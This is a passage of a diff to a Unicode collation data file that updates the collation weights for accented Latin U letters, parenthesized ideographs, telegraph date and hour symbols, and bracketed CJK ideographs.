+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 FDD0 0041 ; [.8000.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER A>
 FDD0 0042 ; [.80C5.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER B>
 FDD0 0043 ; [.8441.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER C>
@@ -233,119 +233,119 @@
 FDD0 0058 ; [.BE4A.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER X>
 FDD0 0059 ; [.C382.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER Y>
 FDD0 005A ; [.CB22.0020.0002] # <noncharacter-FDD0, LATIN CAPITAL LETTER Z>
-3220      ; [*0310.0020.0004][.C5CF.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
-3226      ; [*0310.0020.0004][.AE03.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
-3222      ; [*0310.0020.0004][.B35F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
-3228      ; [*0310.0020.0004][.9C92.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
-3221      ; [*0310.0020.0004][.8E0E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
-3224      ; [*0310.0020.0004][.BDF1.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
-3239      ; [*0310.0020.0004][.89B6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
-323D      ; [*0310.0020.0004][.AE82.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
-3241      ; [*0310.0020.0004][.C1F9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST
-3227      ; [*0310.0020.0004][.80C6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
-3225      ; [*0310.0020.0004][.A49F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
-3238      ; [*0310.0020.0004][.A132.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
-3229      ; [*0310.0020.0004][.B57B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
-323F      ; [*0310.0020.0004][.C10A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
-3234      ; [*0310.0020.0004][.A8EB.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
-323A      ; [*0310.0020.0004][.9589.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
-3223      ; [*0310.0020.0004][.B715.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
-322F      ; [*0310.0020.0004][.BB2D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
-323B      ; [*0310.0020.0004][.C304.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
-3230      ; [*0310.0020.0004][.B272.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
-322A      ; [*0310.0020.0004][.CA96.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
-3232      ; [*0310.0020.0004][.C8D2.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
-322D      ; [*0310.0020.0004][.A98A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
-3231      ; [*0310.0020.0004][.CF58.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
-322C      ; [*0310.0020.0004][.B6BA.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
-322B      ; [*0310.0020.0004][.97BC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
-3235      ; [*0310.0020.0004][.B980.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
-323C      ; [*0310.0020.0004][.999B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
-3233      ; [*0310.0020.0004][.B4AC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
-3237      ; [*0310.0020.0004][.CFAD.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
-3240      ; [*0310.0020.0004][.98D6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
-3242      ; [*0310.0020.0004][.D0D4.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
-3243      ; [*0310.0020.0004][.CE51.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
-3236      ; [*0310.0020.0004][.844F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
-323E      ; [*0310.0020.0004][.D0A3.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
-322E      ; [*0310.0020.0004][.9B96.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
-3358      ; [.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
-33E9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
-32C9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
-3362      ; [.1BB9.0020.0004][.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
-33EA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
-32CA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
-3363      ; [.1BB9.0020.0004][.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
-33EB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
-32CB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
-3364      ; [.1BB9.0020.0004][.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
-33EC      ; [.1BB9.0020.0004][.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
-3365      ; [.1BB9.0020.0004][.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
-33ED      ; [.1BB9.0020.0004][.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
-3366      ; [.1BB9.0020.0004][.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
-33EE      ; [.1BB9.0020.0004][.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
-3367      ; [.1BB9.0020.0004][.1BBD.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
-33EF      ; [.1BB9.0020.0004][.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
-3368      ; [.1BB9.0020.0004][.1BBE.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
-33F0      ; [.1BB9.0020.0004][.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
-3369      ; [.1BB9.0020.0004][.1BBF.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
-33F1      ; [.1BB9.0020.0004][.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
-336A      ; [.1BB9.0020.0004][.1BC0.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
-33F2      ; [.1BB9.0020.0004][.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
-336B      ; [.1BB9.0020.0004][.1BC1.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
-33E0      ; [.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
-32C0      ; [.1BB9.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
-3359      ; [.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
-33F3      ; [.1BBA.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
-336C      ; [.1BBA.0020.0004][.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
-33F4      ; [.1BBA.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
-336D      ; [.1BBA.0020.0004][.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
-33F5      ; [.1BBA.0020.0004][.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
-336E      ; [.1BBA.0020.0004][.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
-33F6      ; [.1BBA.0020.0004][.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
-336F      ; [.1BBA.0020.0004][.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
-33F7      ; [.1BBA.0020.0004][.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
-3370      ; [.1BBA.0020.0004][.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
-33F8      ; [.1BBA.0020.0004][.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
-33F9      ; [.1BBA.0020.0004][.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
-33FA      ; [.1BBA.0020.0004][.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
-33FB      ; [.1BBA.0020.0004][.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
-33FC      ; [.1BBA.0020.0004][.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
-33E1      ; [.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
-32C1      ; [.1BBA.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
-335A      ; [.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
-33FD      ; [.1BBB.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
-33FE      ; [.1BBB.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
-33E2      ; [.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
-32C2      ; [.1BBB.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
-335B      ; [.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
-33E3      ; [.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
-32C3      ; [.1BBC.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
-335C      ; [.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
-33E4      ; [.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
-32C4      ; [.1BBD.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
-335D      ; [.1BBD.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
-33E5      ; [.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
-32C5      ; [.1BBE.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
-335E      ; [.1BBE.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
-33E6      ; [.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
-32C6      ; [.1BBF.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
-335F      ; [.1BBF.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
-33E7      ; [.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
-32C7      ; [.1BC0.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
-3360      ; [.1BC0.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
-33E8      ; [.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
-32C8      ; [.1BC1.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
-3361      ; [.1BC1.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
-1F241     ; [*0372.0020.0004][.B35F.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
-1F242     ; [*0372.0020.0004][.8E0E.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
-1F247     ; [*0372.0020.0004][.B548.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
-1F243     ; [*0372.0020.0004][.8049.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
-1F245     ; [*0372.0020.0004][.89A6.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
-1F248     ; [*0372.0020.0004][.811B.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
-1F240     ; [*0372.0020.0004][.81FC.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
-1F244     ; [*0372.0020.0004][.8B60.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
-1F246     ; [*0372.0020.0004][.8A91.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
+3220      ; [*0317.0020.0004][.C5CF.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
+3226      ; [*0317.0020.0004][.AE03.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
+3222      ; [*0317.0020.0004][.B35F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
+3228      ; [*0317.0020.0004][.9C92.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
+3221      ; [*0317.0020.0004][.8E0E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
+3224      ; [*0317.0020.0004][.BDF1.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
+3239      ; [*0317.0020.0004][.89B6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
+323D      ; [*0317.0020.0004][.AE82.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
+3241      ; [*0317.0020.0004][.C1F9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST
+3227      ; [*0317.0020.0004][.80C6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
+3225      ; [*0317.0020.0004][.A49F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
+3238      ; [*0317.0020.0004][.A132.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
+3229      ; [*0317.0020.0004][.B57B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
+323F      ; [*0317.0020.0004][.C10A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
+3234      ; [*0317.0020.0004][.A8EB.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
+323A      ; [*0317.0020.0004][.9589.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
+3223      ; [*0317.0020.0004][.B715.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
+322F      ; [*0317.0020.0004][.BB2D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
+323B      ; [*0317.0020.0004][.C304.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
+3230      ; [*0317.0020.0004][.B272.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
+322A      ; [*0317.0020.0004][.CA96.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
+3232      ; [*0317.0020.0004][.C8D2.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
+322D      ; [*0317.0020.0004][.A98A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
+3231      ; [*0317.0020.0004][.CF58.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
+322C      ; [*0317.0020.0004][.B6BA.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
+322B      ; [*0317.0020.0004][.97BC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
+3235      ; [*0317.0020.0004][.B980.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
+323C      ; [*0317.0020.0004][.999B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
+3233      ; [*0317.0020.0004][.B4AC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
+3237      ; [*0317.0020.0004][.CFAD.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
+3240      ; [*0317.0020.0004][.98D6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
+3242      ; [*0317.0020.0004][.D0D4.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
+3243      ; [*0317.0020.0004][.CE51.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
+3236      ; [*0317.0020.0004][.844F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
+323E      ; [*0317.0020.0004][.D0A3.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
+322E      ; [*0317.0020.0004][.9B96.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
+3358      ; [.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
+33E9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
+32C9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
+3362      ; [.1C3E.0020.0004][.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
+33EA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
+32CA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
+3363      ; [.1C3E.0020.0004][.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
+33EB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
+32CB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
+3364      ; [.1C3E.0020.0004][.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
+33EC      ; [.1C3E.0020.0004][.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
+3365      ; [.1C3E.0020.0004][.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
+33ED      ; [.1C3E.0020.0004][.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
+3366      ; [.1C3E.0020.0004][.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
+33EE      ; [.1C3E.0020.0004][.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
+3367      ; [.1C3E.0020.0004][.1C42.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
+33EF      ; [.1C3E.0020.0004][.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
+3368      ; [.1C3E.0020.0004][.1C43.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
+33F0      ; [.1C3E.0020.0004][.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
+3369      ; [.1C3E.0020.0004][.1C44.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
+33F1      ; [.1C3E.0020.0004][.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
+336A      ; [.1C3E.0020.0004][.1C45.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
+33F2      ; [.1C3E.0020.0004][.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
+336B      ; [.1C3E.0020.0004][.1C46.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
